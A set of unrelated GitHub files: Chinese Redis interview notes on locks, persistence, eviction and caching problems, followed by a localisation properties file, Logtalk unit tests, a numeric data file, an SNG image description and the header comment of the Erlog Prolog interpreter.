其中,前四个操作红黑树也可以完成,且时间复杂度跟跳表是一样的。但是,按照区间来查找数据这个操作,红黑树的效率没有跳表高。按照区间查找数据时,跳表可以做到 O(logn) 的时间复杂度定位区间的起点,然后在原始链表中顺序往后遍历就可以了,非常高效。 # Redis应用 ## 分布式锁 Redis为单进程单线程模式,采用队列模式将并发访问变成串行访问,且多客户端对Redis的连接并不存在竞争关系。redis的SETNX命令可以方便的实现分布式锁。 分布式锁本质上要实现的目标就是在 Redis 里面占一个“茅坑”,当别的进程也要来占时,发现已经有人蹲在那里了,就只好放弃或者稍后再试。 占坑一般是使用 setnx(set if not exists) 指令,只允许被一个客户端占坑。先来先占, 用完了,再调用 del 指令释放茅坑。 setNX(SET if Not eXists 如果不存在,则 SET) 1. 当 key 不存在,将 key 的值设为 value 。 2. 若给定的 key 已经存在,则 SETNX 不做任何动作。 **如果一个持有锁的客户端失败或崩溃了不能释放锁,该怎么解决?** 如果一个客户端持有的锁超时了,任何客户端都可以检测超时并删除该锁,那么这里就会存在竞态关系, ```java C0操作超时了,但它还持有着锁,C1和C2读取lock.foo检查时间戳,先后发现超时了。 C1 发送DEL lock.foo C1 发送SETNX lock.foo 并且成功了。 C2 发送DEL lock.foo C2 发送SETNX lock.foo 并且成功了。 这样一来,C1,C2都拿到了锁! ``` 所以使用执行下面的命令解决上面问题 ```java GETSET lock.foo <current Unix time + lock timeout + 1> ``` 通过GETSET,C1拿到的时间戳如果是超时的,那就说明中间锁超时并且中间没有被其他客户端抢先获得锁,因此C1拿到锁。 如果在C1之前,有个叫C2的客户端比C1快一步执行了上面的操作,那么C1拿到的时间戳是个未超时的值,这时C1没有如期获得锁,需要再次等待或重试。尽管C1没拿到锁,但它改写了C2设置的锁的超时值,不过这一点非常微小的误差带来的影响可以忽略不计。 ## 延时队列 延时队列可以通过 Redis 的 zset(有序列表) 来实现。我们将消息序列化成一个字符串作为 zset 的value,这个消息的到期处理时间作为score,然后用多个线程轮询 zset 获取到期的任务进行处理,多个线程是为了保障可用性,万一挂了一个线程还有其它线程可以继续处理。因为有多个线程,所以需要考虑并发争抢任务,确保任务不能被多次执行。 ## 位图 Redis 提供了位图统计指令 bitcount 和位图查找指令 bitpos,bitcount 用来统计指定位置范围内 1 的个数,bitpos 用来查找指定范围内出现的第一个 0 或 1。 比如我们可以通过 bitcount 统计用户一共签到了多少天,通过 bitpos 指令查找用户从哪一天开始第一次签到。如果指定了范围参数[start, end],就可以统计在某个时间范围内用户签到了多少天,用户自某天以后的哪天开始签到。 ## HyperLogLog HyperLogLog 数据结构是 Redis 的高级数据结构,HyperLogLog 提供不精确的去重计数方案,虽然不精确但是也不是非常不精确,标准误差是 0.81%,这样的精确度已经可以满足上面的 UV 统计需求了 ## 布隆过滤器 布隆过滤器是一个神奇的数据结构,可以用来判断一个元素是否在一个集合中。很常用的一个功能是用来去重。 redis 在 4.0 的版本中加入了 module 功能,布隆过滤器可以通过 module 的形式添加到 redis 中,所以使用 redis 4.0 以上的版本可以通过加载 module 来使用 redis 中的布隆过滤器。但是这不是最简单的方式,使用 docker 可以直接在 redis 中体验布隆过滤器。 每个布隆过滤器对应到 Redis 的数据结构里面就是一个大型的位数组和几个不一样的无偏 hash 函数。所谓无偏就是能够把元素的 hash 值算得比较均匀。 向布隆过滤器中添加 key 时,会使用多个 hash 函数对 key 进行 hash 算得一个整数索引值然后对位数组长度进行取模运算得到一个位置,每个 hash 函数都会算得一个不同的位置。再把位数组的这几个位置都置为 1 就完成了 add 操作。 向布隆过滤器询问 key 是否存在时,跟 add 一样,也会把 hash 的几个位置都算出来,看看位数组中这几个位置是否都位 1,只要有一个位为 0,那么说明布隆过滤器中这个 key 不存在。如果都是 1,这并不能说明这个 key 就一定存在,只是极有可能存在,因为这些位被置为 1 可能是因为其它的 key 存在所致。 redis 布隆过滤器主要就两个命令: - bf.add 添加元素到布隆过滤器中:bf.add urls https://baidu.com - bf.exists 判断某个元素是否在过滤器中:bf.exists urls https://baidu.com 布隆过滤器存在误判的情况,在 redis 中有两个值决定布隆过滤器的准确率: - error_rate:允许布隆过滤器的错误率,这个值越低,需要的存储空间就越大,对于不需要过于精确的场合,error_rate设置稍大一点也无伤大雅。 - initial_size:布隆过滤器可以储存的元素个数,估计的过大,会浪费存储空间,估计的过小,就会影响准确率。 redis 中有一个命令可以来设置这两个值: >bf.reserve urls 0.01 100 代码三个参数的含义: - 第一个值是布隆过滤器的名字。 - 第二个值为 error_rate 的值。 - 第三个值为 initial_size 的值。 # Gossip协议 Gossip协议是一个通信协议,一种传播消息的方式,灵感来自于:瘟疫、社交网络等。使用Gossip协议的有:Redis Cluster、Consul、Apache Cassandra等。 Gossip协议基本思想就是:**一个节点想要分享一些信息给网络中的其他的一些节点**。于是,它周期性的随机选择一些节点,并把信息传递给这些节点。**这些收到信息的节点接下来会做同样的事情**,即把这些信息传递给其他一些随机选择的节点。一般而言,信息会周期性的传递给N个目标节点,而不只是一个。这个N被称为fanout(这个单词的本意是扇出) Gossip协议的主要用途就是**信息传播和扩散**:即把一些发生的事件传播到全世界。它们也被用于数据库复制,信息扩散,集群成员身份确认,故障探测等 特点: 1. **可扩展性**:即使某条消息传播过程中丢失,它也不需要做任何补偿措施 2. **失败容错**:因为一个节点会多次分享某个需要传播的信息,即使不能连通某个节点,其他被感染的节点也会尝试向这个节点传播信息。 3. **健壮性**:没有任何扮演特殊角色的节点(比如leader等)。任何一个节点无论什么时候下线或者加入,并不会破坏整个系统的服务质量。 # Redis单进程单线程方式 注意:这里我们一直在强调的单线程,只是在处理我们的网络请求的时候只有一个线程来处理,一个正式的Redis Server运行的时候肯定是不止一个线程的,这里需要大家明确的注意一下!例如Redis进行持久化的时候会以子进程或者子线程的方式执行(具体是子线程还是子进程待读者深入研究);例如我在测试服务器上查看Redis进程,然后找到该进程下的线程 因为Redis是基于内存的操作,CPU不是Redis的瓶颈,Redis的瓶颈最有可能是机器内存的大小或者网络带宽。既然单线程容易实现,而且CPU不会成为瓶颈,所以就采用单线程 ## 单进程单线程好处 1. 代码更清晰,处理逻辑更简单 2. 不用去考虑各种锁的问题,不存在加锁释放锁操作,没有因为可能出现死锁而导致的性能消耗 3. 不存在多进程或者多线程导致的切换而消耗CPU ## 单进程单线程弊端 1. 无法发挥多核CPU性能,不过可以通过在单机开多个Redis实例来完善; ## 其他一些优秀的开源软件采用的模型 1. 多进程单线程模型:Nginx (Nginx有两类进程,一类称为Master进程(相当于管理进程),另一类称为Worker进程(实际工作进程)) 2. 单进程多线程模型:MySQL、Memcached、Oracle( Windows版本); ## 多路I/O复用模型 1. 多路I/O复用模型是利用 select、poll、epoll 可以同时监察多个流的 I/O 事件的能力,在空闲的时候,会把当前线程阻塞掉,当有一个或多个流有 I/O 事件时,就从阻塞态中唤醒,于是程序就会轮询一遍所有的流(epoll 是只轮询那些真正发出了事件的流),并且只依次顺序的处理就绪的流,这种做法就避免了大量的无用操作。 2. 这里“多路”指的是多个网络连接,“复用”指的是复用同一个线程。采用多路 I/O 复用技术可以让单个线程高效的处理多个连接请求(尽量减少网络 IO 的时间消耗),且 Redis 在内存中操作数据的速度非常快,也就是说内存内的操作不会成为影响Redis性能的瓶颈,主要由以上几点造就了 Redis 具有很高的吞吐量。 我们知道Redis是用”单线程-多路复用IO模型”来实现高性能的内存数据服务的,这种机制避免了使用锁,但是同时这种机制在进行sunion之类的比较耗时的命令时会使redis的并发下降。因为是单一线程,所以同一时刻只有一个操作在进行,所以,耗时的命令会导致并发的下降,不只是读并发,写并发也会下降。而单一线程也只能用到一个CPU核心,所以可以在同一个多核的服务器中,可以启动多个实例,组成master-master或者master-slave的形式,耗时的读命令可以完全在slave进行。 # Redis快的主要原因 1. 完全基于内存 2. 采用单线程,避免了不必要的上下文切换和竞争条件 3. 数据结构简单,对数据操作也简单 4. 使用多路 I/O 复用模型 # Redis主从复制 过程原理: 1. 当从库和主库建立MS关系后,会向主数据库发送SYNC命令 2. 主库接收到SYNC命令后会开始在后台保存快照(RDB持久化过程),并将期间接收到的写命令缓存起来 3. 当快照完成后,主Redis会将快照文件和所有缓存的写命令发送给从Redis 4. 从Redis接收到后,会载入快照文件并且执行收到的缓存的命令 5. 之后,主Redis每当接收到写命令时就会将命令发送从Redis,从而保证数据的一致 缺点:所有的slave节点数据的复制和同步都由master节点来处理,会照成master节点压力太大,使用主从从结构来解决 # Redis持久化 ## Redis RDB和AOF的优缺点对比以及如何选择 **RDB的优点** - RDB文件是紧凑的二进制文件,比较适合做冷备,全量复制的场景。 - 相对于AOF持久化机制来说,直接基于RDB数据文件来重启和恢复Redis进程,更加快速; - RDB对Redis对外提供的读写服务,影响非常小,可以让Redis保持高性能,因为Redis主进程只需要fork一个子进程,让子进程执行磁盘IO操作来进行RDB持久化即可; - RDB使用单独子进程来进行持久化,主进程不会进行任何IO操作,保证了Redis的高性能 ; **RDB的缺点** - 如果想要在Redis故障时,尽可能少的丢失数据,那么RDB没有AOF好。 - RDB每次在fork子进程来执行RDB快照数据文件生成的时候,如果数据文件特别大,可能会导致对客户端提供的服务暂停数毫秒,或者甚至数秒; - RDB无法实现实时或者秒级持久化 **AOF的优点** - AOF可以更好的保护数据不丢失(每隔1秒,后台线程执行一次fsync操作) - AOF日志文件以append-only模式写入,写入性能比较高 - AOF日志文件即使过大的时候,出现后台重写操作,也不会影响客户端的读写。 - 适合做灾难性的误删除紧急恢复 **AOF的缺点** - 对于同一份数据来说,AOF日志文件通常比RDB数据快照文件更大,恢复速度慢; - AOF开启后,支持的写QPS会比RDB支持的写QPS低,因为AOF一般会配置成每秒fsync一次日志文件,当然,每秒一次fsync,性能也还是很高的; ## RDB和AOF到底该如何选择? 重启Redis时,我们很少使用rdb来恢复内存状态,因为会丢失大量数据。我们通常使用AOF日志重写, 但是AOF重写性能相对rdb来说要慢很多,这样在Redis实例很大的情况下,启动需要花费很长的时间。 Redis 4.0 为了解决这个问题,带来了一个新的持久化选项——混合持久化。 AOF在进行文件重写时将重写这一刻之前的内存rdb快照文件的内容和增量的AOF修改内存数据的命令日志文件存在一起,都写入新的aof文件,新的文件一开始不叫appendonly.aof,等到重写完新的AOF文件才会进行改名,原子的覆盖原有的AOF文件,完成新旧两个AOF文件的替换。 ## 为什么恢复的时候RDB比AOF快? - AOF,存放的指令日志,做数据恢复的时候,其实是要回放和执行所有的指令日志,来恢复出来内存中的所有数据的; - RDB,就是一份数据文件,恢复的时候,直接加载到内存中即可; # Redis常见的性能问题都有哪些?如何解决? 1. Master写内存快照,save命令调度rdbSave函数,会阻塞主线程的工作,当快照比较大时对性能影响是非常大的,会间断性暂停服务,所以Master最好不要写内存快照。 2. Master AOF持久化,如果不重写AOF文件,这个持久化方式对性能的影响是最小的,但是AOF文件会不断增大,AOF文件过大会影响Master重启的恢复速度。Master最好不要做任何持久化工作,包括内存快照和AOF日志文件,特别是不要启用内存快照做持久化,如果数据比较关键,某个Slave开启AOF备份数据,策略为每秒同步一次。 3. Master调用BGREWRITEAOF重写AOF文件,AOF在重写的时候会占大量的CPU和内存资源,导致服务load过高,出现短暂服务暂停现象。 4. Redis主从复制的性能问题,为了主从复制的速度和连接的稳定性,Slave和Master最好在同一个局域网内 # Redis六种淘汰key策略(默认时no-eviction) - volatile-lru:在设置了过期时间的键空间中,移除最近最少使用的key - allkeys-lru:移除最近最少使用的key - volatile-random:在设置了过期时间的键空间中,随机移除一个key - allkey-random:随机移除一个key - volatile-ttl:在设置了过期时间的键空间中,移除将要过期的key - no-eviction:在内存使用达到阈值的时候,所有引起申请内存的命令会报错 # Redis三种删除过期键策略 - 定时删除: 在设置键的过期时间的同时,创建一个定时器,让定时器执行对键的删除操作 - 惰性删除: 每次取的时候先判断 expires 对象里面的键是否已经过期,如果过期,则删除键,否则,返回该键 - 定期删除: 每隔一段时间,程序对数据库遍历检查一遍,然后删除过期的键 ## 定时删除(并没有用到) 在设置键的过期时间的同时,创建一个定时器,让定时器在键的过期时间来临时,立即执行对键的删除操作; 定时删除操作对于内存来说是友好的,内存不需要操作,而是通过使用定时器,可以保证尽快的将过期键删除,但是对于CPU来说不是友好的,如果过期键比较多的话,起的定时器也会比较多,删除的这个操作会占用到CPU的资源; ## 惰性删除 放任键过期不管,但是每次从键空间中获取键是,都检查取得的键的过期时间,如果过期的话,删除即可; 惰性操作对于CPU来说是友好的,过期键只有在程序读取时判断是否过期才删除掉,而且也只会删除这一个过期键,但是对于内存来说是不友好的,如果多个键都已经过期了,而这些键又恰好没有被访问,那么这部分的内存就都不会被释放出来; ## 定期删除 每隔一段时间,程序就对数据库进行一次检查,删除掉过期键; 定期删除是上面两种方案的折中方案,每隔一段时间来删除过期键,并通过限制删除操作执行的时长和频率来减少删除操作对CPU时间的影响,除此之外,还有效的减少内存的浪费;但是该策略的难点在于间隔时长,这个需要根据自身业务情况来进行设置; >目前,Redis采用的是惰性删除+定期删除的方案,通过配合使用,服务器可以很好的平衡 CPU 和内存。 # Redis的内存优化 1. redisObject对象 2. 缩减键值对象 3. 共享对象池 4. 字符串优化 5. 编码优化 6. 控制key的数量 # Redis4.0新特性 包含几个重大改进:更好的复制(PSYNC2),线程DEL / FLUSH,混合RDB + AOF格式,活动内存碎片整理,内存使用和性能改进。 ## 一、主从数据同步机制 - PSYNC2: 新的一种主从复制同步机制。 - SYNC1:2.8~4.0之前版本的同步为PSYNC1 - psync1因为网络中断或者阻塞导致主从中断,恢复后必须重新到主节点dump一份全量数据同步到从节点。psync2再中断恢复后只需要同步复制延迟的那部分数据。 ## 二、命令优化 线程DEL / FLUSH 优化 Redis现在可以在不同的线程中删除后台的key而不会阻塞服务器。 ## 三、慢日志记录客户端来源IP地址 ## 四、混合RDB + AOF格式 混合RDB + AOF格式: 混合的RDB-AOF格式。 如果启用,则在重写AOF文件时使用新格式:重写使用更紧凑和更快的方式来生成RDB格式,并将AOF流附加到文件。 这允许在使用AOF持久性时更快地重写和重新加载。 ## 五、内存使用和性能改进 1. Redis现在使用更少的内存来存储相同数量的数据。 2. Redis现在可以对使用的内存进行碎片整理,并逐渐回收空间(这个功能依然是试用阶段,可以通过参数不开启即可) # 缓存解决方案分析 ## 缓存雪崩 缓存雪崩是指缓存中数据大批量到过期时间,而查询数据量巨大,引起数据库压力过大甚至down机。从而形成一系列连锁反应,造成整个系统崩溃。 一般有三种处理办法: 1. 缓存数据的过期时间设置随机,防止同一时间大量数据过期现象发生。 2. 一般并发量不是特别多的时候,使用最多的解决方案是加锁排队。 3. 给每一个缓存数据增加相应的缓存标记,记录缓存的是否失效,如果缓存标记失效,则更新数据缓存。 ## 缓存穿透 缓存穿透是指缓存和数据库中都没有的数据,而用户不断发起请求,如发起为id为“-1”的数据或id为特别大不存在的数据。这时的用户很可能是攻击者,攻击会导致数据库压力过大。 解决方案: 1. 接口层增加校验,如用户鉴权校验,id做基础校验,id<=0的直接拦截; 2. 从缓存取不到的数据,在数据库中也没有取到,这时也可以将key-value对写为key-null,缓存有效时间可以设置短点,如30秒(设置太长会导致正常情况也没法使用)。这样可以防止攻击用户反复用同一个id暴力攻击 3. 采用布隆过滤器,将所有可能存在的数据哈希到一个足够大的 bitmap 中,一个一定不存在的数据会被这个 bitmap 拦截掉,从而避免了对底层存储系统的查询压力 ## 缓存击穿 缓存击穿是指缓存中没有但数据库中有的数据(一般是缓存时间到期),这时由于并发用户特别多,同时读缓存没读到数据,又同时去数据库去取数据,引起数据库压力瞬间增大,造成过大压力。和缓存雪崩不同的是,缓存击穿指并发查同一条数据,缓存雪崩是不同数据都过期了,很多数据都查不到从而查数据库。 解决方案: 1. 设置热点数据永远不过期。 3. 加互斥锁,互斥锁 ## 缓存预热 缓存预热就是系统上线后,提前将相关的缓存数据直接加载到缓存系统。避免在用户请求的时候,先查询数据库,然后再将数据缓存的问题!用户直接查询事先被预热的缓存数据! 缓存预热解决方案: 1. 直接写个缓存刷新页面,上线时手工操作下; 2. 数据量不大,可以在项目启动的时候自动进行加载; 3. 定时刷新缓存; ## 缓存更新 除了缓存服务器自带的缓存失效策略之外(Redis默认的有6中策略可供选择),我们还可以根据具体的业务需求进行自定义的缓存淘汰,常见的策略有两种: 1. 定时去清理过期的缓存; 2. 当有用户请求过来时,再判断这个请求所用到的缓存是否过期,过期的话就去底层系统得到新数据并更新缓存。 # Redis Sentinel 与 Redis Cluster区别和各自适用场景 ## Redis Sentinel Redis-Sentinel(哨兵模式)是Redis官方推荐的高可用性(HA)解决方案,当用Redis做Master-slave的高可用方案时,假如master宕机了,Redis本身(包括它的很多客户端)都没有实现自动进行主备切换,而Redis-sentinel本身也是一个独立运行的进程,它能监控多个master-slave集群,发现master宕机后能进行自懂切换。它的主要功能有以下几点: - 不时地监控redis是否按照预期良好地运行; - 如果发现某个redis节点运行出现状况,能够通知另外一个进程(例如它的客户端); - 能够进行自动切换。当一个master节点不可用时,能够选举出master的多个slave(如果有超过一个slave的话)中的一个来作为新的master,其它的slave节点会将它所追随的master的地址改为被提升为master的slave的新地址。 ## Redis Cluster - Redis Cluster是Redis的分布式解决方案,在Redis 3.0版本正式推出的,有效解决了Redis分布式方面的需求。**当遇到单机内存、并发、流量等瓶颈时,可以采用Cluster架构达到负载均衡的目的**。分布式集群首要解决把整个数据集按照分区规则映射到多个节点的问题,即把数据集划分到多个节点上,每个节点负责整个数据的一个子集。 - Redis Cluster采用哈希分区规则中的虚拟槽分区。虚拟槽分区巧妙地使用了哈希空间,使用分散度良好的哈希函数把所有的数据映射到一个固定范围内的整数集合,整数定义为槽(slot)。Redis Cluster槽的范围是0 ~ 16383。槽是集群内数据管理和迁移的基本单位。采用大范围的槽的主要目的是**为了方便数据的拆分和集群的扩展,每个节点负责一定数量的槽**。 - Redis Cluster采用虚拟槽分区,所有的键根据哈希函数映射到0 ~ 16383,计算公式:slot = CRC16(key)&16383。每一个实节点负责维护一部分槽以及槽所映射的键值数据。下图展现一个五个节点构成的集群,每个节点平均大约负责3276个槽,以及通过计算公式映射到对应节点的对应槽的过程。 # 为什么lua脚本结合Redis命令可以实现原子性? Redis 提供了非常丰富的指令集,但是用户依然不满足,希望可以自定义扩充若干指令来完成一些特定领域的问题。Redis 为这样的用户场景提供了 lua 脚本支持,用户可以向服务器发送 lua 脚本来执行自定义动作,获取脚本的响应数据。Redis 服务器会单线程原子性执行 lua 脚本,保证 lua 脚本在处理的过程中不会被任意其它请求打断。 redis会为lua脚本执行创建伪客户端模拟客户端调用redis执行命令,伪客户端执行lua脚本是排他的,再加上redis是原子性的。 # Redis分布式锁会导致什么问题? - 互斥性。在任意时刻,只有一个客户端能持有锁。 - 不会发生死锁。即使有一个客户端在持有锁的期间崩溃而没有主动解锁,也能保证后续其他客户端能加锁。 - 具有容错性。只要大部分的Redis节点正常运行,客户端就可以加锁和解锁。 - 解铃还须系铃人。加锁和解锁必须是同一个客户端,客户端自己不能把别人加的锁给解了。 业务逻辑执行太慢,比锁失效时间还长怎么办,redisson的WatchDog 会每10秒轮询,延长锁。 如果你很在乎高可用性,希望挂了一台 redis 完全不受影响,可以考虑 redlock。 # Redis有1000万个key,找出前缀为aaa的key的命令是什么? - SCAN cursor [MATCH pattern] [COUNT count],指令指定返回条数 - SCAN 0 MATCH aaa* COUNT 5 表示从游标0开始查询aaa开头的key,每次返回5条,但是这个5条不一定,只是给Redis打了个招呼,具体返回数量看Redis心情。 # 热key问题 热Key问题 - 所谓热key问题就是,突然有几十万的请求去访问redis上的某个特定key。那么,这样会造成流量过于集中,达到物理网卡上限,从而导致这台redis的服务器宕机。 ## 怎么发现热key ### 方法一:凭借业务经验,进行预估哪些是热key 其实这个方法还是挺有可行性的。比如某商品在做秒杀,那这个商品的key就可以判断出是热key。缺点很明显,并非所有业务都能预估出哪些key是热key。 ### 方法二:在客户端进行收集 这个方式就是在操作redis之前,加入一行代码进行数据统计。那么这个数据统计的方式有很多种,也可以是给外部的通讯系统发送一个通知信息。缺点就是对客户端代码造成入侵。 ### 方法三:在Proxy层做收集 有些集群架构是下面这样的,Proxy可以是Twemproxy,是统一的入口。可以在Proxy层做收集上报,但是缺点很明显,并非所有的redis集群架构都有proxy。 ### 方法四:用redis自带命令 1. monitor命令,该命令可以实时抓取出redis服务器接收到的命令,然后写代码统计出热key是啥。当然,也有现成的分析工具可以给你使用,比如redis-faina。但是该命令在高并发的条件下,有内存增暴增的隐患,还会降低redis的性能。 2.hotkeys参数,redis 4.0.3提供了redis-cli的热点key发现功能,执行redis-cli时加上–hotkeys选项即可。但是该参数在执行的时候,如果key比较多,执行起来比较慢。 ### 方法五:自己抓包评估 Redis客户端使用TCP协议与服务端进行交互,通信协议采用的是RESP。自己写程序监听端口,按照RESP协议规则解析数据,进行分析。缺点就是开发成本高,维护困难,有丢包可能性。 ## 怎么设置redis失效时间、怎么设置永久有效? **设置redis失效时间** - expire <KEY> <TTL> : 将键的生存时间设为 ttl 秒 - pExpire <KEY> <TTL> :将键的生存时间设为 ttl 毫秒 - expireAt <KEY> <timestamp> :将键的过期时间设为 timestamp 所指定的秒数时间戳 - pExpireAt <KEY> <timestamp>: 将键的过期时间设为 timestamp 所指定的毫秒数时间戳。 **redis设置了数据永不过期 ** - persist key持久化key,不设置失效时间,并用noeviction:默认回收策略,不淘汰,如果内存已满,添加数据是报错。 # Redis事务和MySQL事务有什么区别? ![](https://github.com/zaiyunduan123/Java-Interview/blob/master/image/Redis-5.png)
{ "pile_set_name": "Github" }
#Mon Jul 07 18:03:31 CST 2014 ERR_NEW_PARENT_NOT_IN_WORKFLOW_1=\u65B0\u8D44\u6E90\u7684\u7236\u201C{0}\u201D\u662F\u65B0\u7684\uFF0C\u4F46\u4E0D\u5728\u8BE5\u5DE5\u4F5C\u6D41\u3002 GUI_WORKFLOW_PROJECT_NAME_2=\u53D1\u884C{0} {1} GUI_MAIL_USER_LINE_1=\u7528\u6237{0}\u5DF2\u7ECF\u53D1\u5E03\u4E86\u4EE5\u4E0B\u8D44\u6E90\uFF1A GUI_ALREADY_IN_WORKFLOW_0=\u8FD9\u4E2A\u8D44\u6E90\u5728\u8FD9\u4E2A\u5DE5\u4F5C\u6D41\u4E2D\u5DF2\u7ECF\u5B58\u5728 GUI_WORKFLOW_PUBLISH_0=\u53D1\u5E03 GUI_WORKFLOW_PROJECT_DESCRIPTION_2=\u5DE5\u4F5C\u6D41\u9879\u76EE\u88AB{0}\u521B\u5EFA\u5728{1}\u4E0A ERR_INVALID_WORKFLOW_ACTION_1=\u65E0\u6548\u7684\u5DE5\u4F5C\u6D41\u6D3B\u52A8\u201C{0}\u201D GUI_BROKEN_LINKS_0=\u4E0B\u9762\u7684\u94FE\u63A5\u5DF2\u65AD\u88C2 GUI_MAIL_PUBLISH_LINK_1=\u60A8\u53EF\u4EE5\u4F7F\u7528<a href\="{0}">this link</ a>\u6765\u53D1\u5E03\u8FD9\u4E9B\u8D44\u6E90\u3002 GUI_WORKFLOW_ACTION_RELEASE_0=\u53D1\u884C GUI_WORKFLOW_ACTION_FORCE_PUBLISH_0=\u53D1\u5E03 GUI_WORKFLOW_ACTION_PUBLISH_0=\u53D1\u5E03
{ "pile_set_name": "Github" }
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % This file is part of Logtalk <https://logtalk.org/> % Copyright 1998-2020 Paulo Moura <pmoura@logtalk.org> % % Licensed under the Apache License, Version 2.0 (the "License"); % you may not use this file except in compliance with the License. % You may obtain a copy of the License at % % http://www.apache.org/licenses/LICENSE-2.0 % % Unless required by applicable law or agreed to in writing, software % distributed under the License is distributed on an "AS IS" BASIS, % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % See the License for the specific language governing permissions and % limitations under the License. % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- object(tests, extends(lgtunit)). :- info([ version is 1:0:0, author is 'Paulo Moura', date is 2012-11-19, comment is 'Unit tests for the threaded_ignore/1 built-in predicate.' ]). throws(threaded_ignore_1_1, error(instantiation_error, logtalk(threaded_ignore(_), _))) :- {threaded_ignore(_)}. throws(threaded_ignore_1_2, error(type_error(callable, 1), logtalk(threaded_ignore(_), _))) :- {threaded_ignore(1)}. succeeds(threaded_ignore_1_3) :- {threaded_ignore(true)}. succeeds(threaded_ignore_1_4) :- {threaded_ignore(fail)}. :- end_object.
{ "pile_set_name": "Github" }
9 4 0 0 7 3 0 0 7 5 0 0 5 10 0 0 9 4 0 0 4 6 0 0 11 7 4 6 9 2 7 0 4 6 14 0 10 6 2 0 4 6 7 0 13 7 7 0 7 2 7 0 4 0 7 0 6 0 6 0 9 0 2 0 4 0 9 0 4 5 9 0 9 0 4 0 4 0 9 0 4 0 6 4 9 0 5 0 4 0 2 7 0 2 7 0 5 0 8 0 0 8 9 0 7 0 9 4 4 0 4 6 7 0 6 0 0 9 7 0 0 0 0 0 7 4 0 0 4 0 0 0 2 5 0 0 5 0 7 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 2 0 4 2 0 11 4 7 0 5 5 11 0 6 7 4 0 0 0 0 5 0 0 0 0 0 0 5 0 0 0 0 0 4 0 4 7 0 2 0 4 0 2 4 13 0 5 0 2 0 5 5 7 0 5 5 3 0 4 14 5 0 4 0 7 0 2 0 5 0 0 0 5 0 9 0 19 0 19 0 2 4 4 0 7 7 7 0 4 0 7 5 16 0 0 5 4 0 2 6 3 0 7 2 9 2 0 22 5 0 0 7 7 4 0 9 5 9 0 7 6 4 0 9 7 6 0 19 2 5 0 6 0
{ "pile_set_name": "Github" }
#SNG: from basn3p01.png IHDR { width: 32; height: 32; bitdepth: 1; using color palette; } gAMA {1.0000} PLTE { (238,255, 34) # rgb = (0xee,0xff,0x22) ( 34,102,255) # rgb = (0x22,0x66,0xff) } IMAGE { pixels hex 0f0f0f0f 0f0f0f0f 0f0f0f0f 0f0f0f0f f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0 0f0f0f0f 0f0f0f0f 0f0f0f0f 0f0f0f0f f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0 0f0f0f0f 0f0f0f0f 0f0f0f0f 0f0f0f0f f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0 0f0f0f0f 0f0f0f0f 0f0f0f0f 0f0f0f0f f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0 }
{ "pile_set_name": "Github" }
%% Copyright (c) 2008-2013 Robert Virding %% %% Licensed under the Apache License, Version 2.0 (the "License"); %% you may not use this file except in compliance with the License. %% You may obtain a copy of the License at %% %% http://www.apache.org/licenses/LICENSE-2.0 %% %% Unless required by applicable law or agreed to in writing, software %% distributed under the License is distributed on an "AS IS" BASIS, %% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. %% See the License for the specific language governing permissions and %% limitations under the License. %% File : erlog_int.erl %% Author : Robert Virding %% Purpose : Basic interpreter of a Prolog sub-set. %% %% This is the basic Prolog interpreter. %% The internal data structures used are very direct and basic: %% %% Structures - {Functor,arg1, Arg2,...} where Functor is an atom %% Variables - {Name} where Name is an atom or integer %% Lists - Erlang lists %% Atomic - Erlang constants %% %% There is no problem with the representation of variables as Prolog %% functors of arity 0 are atoms. This representation is much easier %% to test for, and create new variables with than using funny atom %% names like '$1' (yuch!), and we need LOTS of variables. %% %% All information about the state of an evaluation is held in the %% variables: %% %% [CurrentGoal,] NextGoal, ChoicePoints, Bindings, VarNum, Database %% %% Proving a goal succeeds when we have reached the end of the goal %% list, i.e. NextGoal is empty (true). Proving goal fails when there %% are no more choice points left to backtrack into. The evaluation %% is completely flat as all back track information is held in %% ChoicePoints. Choice points are added going forwards and removed %% by backtracking and cuts. %% %% Internal goals all have the format {{Name},...} as this is an %% illegal Erlog structure which can never be generated in (legal) %% code. %% %% Proving a top-level goal will return: %% %% {succeed,ChoicePoints,Bindings,VarNum,Database} - the %% goal succeeded and these are the %% choicepoints/bindings/varnum/database to continue with. %% %% {fail,Database} - the goal failed and this is the current database. %% %% When a goal has succeeded back tracking is initiated by calling %% fail(ChoicePoints, Database) which has the same return values as %% proving the goal. %% %% When the interpreter detects an error it builds an error term %% %% {erlog_error,ErrorDescriptor,Database} %% %% and throws it. The ErrorDescriptor is a valid Erlog term. %% %% Database %% %% We use a dictionary for the database. All data for a procedure are %% kept in the database with the functor as key. Interpreted clauses %% are kept in a list, each clause has a unique (for that functor) %% tag. Functions which traverse clauses, clause/retract/goals, get %% the whole list to use. Any database operations can they be done %% directly on the database. Retract uses the tag to remove the %% correct clause. This preserves the logical database view. It is %% possible to use ETS instead if a dictionary, define macro ETS, but %% the logical database view makes it difficult to directly use ETS %% efficiently. %% %% Interpreted Code %% %% Code, interpreted clause bodies, are not stored directly as Erlog %% terms. Before being added to the database they are checked that %% they are well-formed, control structures are recognised, cuts %% augmented with status and sequences of conjunctions are converted %% to lists. When code is used a new instance is made with fresh %% variables, correct cut labels, and bodies directly linked to %% following code to remove the need of later appending. %% %% The following functions convert code: %% %% well_form_body/4 - converts an Erlog term to database code body %% format checking that it is well formed. %% well_form_goal/4 - converts an Erlog term directly to a code body %% checking that it is well formed. %% unify_head/4 - unify a goal directly with head without creating a %% new instance of the head. Saves creating local variables and %% MANY bindings. This is a BIG WIN! %% body_instance/5 - creates a new code body instance from the %% database format. %% term_instance/2/3 - creates a new instance of a term with new %% variables. %% body_term/3 - creates a copy of a body as a legal Erlog term. %% %% Choicepoints/Cuts %% %% Choicepoints and cuts are kept on the same stack/list. There are %% different types of cps depending on their context. Failure pops %% the first cp off the stack, passing over cuts and resumes %% execution from that cp. A cut has a label and a flag indicating if %% this is the last cut with this label. Cut steps over 